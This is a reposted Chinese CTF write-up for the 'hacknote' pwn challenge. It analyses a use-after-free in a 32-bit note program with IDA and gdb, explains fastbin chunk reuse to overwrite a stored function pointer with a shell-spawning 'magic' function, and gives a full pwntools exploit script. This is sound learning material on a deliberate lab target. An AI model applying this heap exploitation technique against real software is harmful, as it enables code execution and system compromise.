本文为看雪论优秀文章
看雪论坛作者ID:直木
步骤一:运行查看
步骤二:查看文件类型和保护机制
32位程序
步骤三:IDA反编译分析
main函数:
add_note函数:
print_note_content函数:
del_note函数:free之后没有置为NULL,存在UAF漏洞。gdb确认(_DWORD *)((int (__cdecl *)(_DWORD *))*notelist[v2])(notelist[v2])是哪个函数的方法:选中第一个notelist[2],按tab键,切换到汇编代码,分析得知对应调用函数的指令是call eax,拷贝地址;
然后在gdb中下断点,先r运行,输入1创建一个note;
然后输入3,进行打印,运行到断点处,si单步调试,进入函数,看到这个调用的函数就是print_note_content函数。
这题没有明显看到函数中有shell函数,那么我们就在IDA中搜索一下,Shift+F12,看到/bin/sh字符串,双击进去,然后交叉引用,看到magic函数。步骤四:调试和思路
0x80485fb 在IDA中查看,是print_note_content函数。0x8a71018 就在下面,是输入到堆里的“aaaa”。struct note{
void* ptr = print_note_content;
char* content;
}
当然note-content chunk大小是0x18,还有8个字节我在图中没有打印出来。
还记得print_note函数里的(_DWORD *)((int (__cdecl *)(_DWORD *))*notelist[v2])(notelist[v2]),现在就可以理解了:(_DWORD *)((int (__cdecl *)(_DWORD *))*notelist[v2])就是note结构体中的第一个条目,即print_note_content函数。那么由于有UAF漏洞,我们就要想办法去把堆中这个函数的地址0x80485fb给改掉,改成magic函数的地址,然后再去调用print_note函数,那么就会调用结构体里的print_note_content函数,当然现在变成了magic函数,就能getshell了!想想我们的输入,能输入content,也就是说我们能直接控制输入的note-content chunk的内容,不能直接控制note chunk的内容。还有一点,这个大小的chunk free之后是放入fastbin中,先进先出。所以,我们可以想办法先malloc出两个note chunk,然后再依次free,接着再调用add_note()函数的话,先free的这个 note chunk(即第一个note chunk)就会变成 note-content chunk 了,我们能控制最后一次malloc的note-content chunk,让输入的content为magic函数的地址,那么就让第一个note chunk中print_note_content的地址变为了magic的地址!最后调用print_note,输入index为0,那么就getshell了!步骤五:Exploit
from pwn import *
context.log_level = 'debug'
p = process('./hacknote')
elf = ELF('./hacknote')
def add(size,content='aaaa'):
p.sendlineafter(':','1')
p.sendlineafter(':',str(size))
p.sendlineafter(':',content)
def delete(index):
p.sendlineafter(':','2')
p.sendlineafter(':',str(index))
def show(index):
p.sendlineafter(':','3')
p.sendlineafter(':',str(index))
sh = p32(elf.sym['magic'])
add(0x10)
add(0x10)
delete(0)
delete(1)
add(0x8,sh)
show(0)
def dbg():
gdb.attach(p)
pause()
#dbg()
p.interactive()
参考文献
看雪ID:直木
https://bbs.pediy.com/user-home-830671.htm
*本文由看雪论坛 直木 原创,转载请注明来自看雪社区。
文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458378498&idx=1&sn=d79800e20d56813e54666b44dfe3f99f&chksm=b180d18886f7589e5405a65b8980adced433a733cfb40b733022aa07c63f24141da3a48998de#rd
如有侵权请联系:admin#unsafe.sh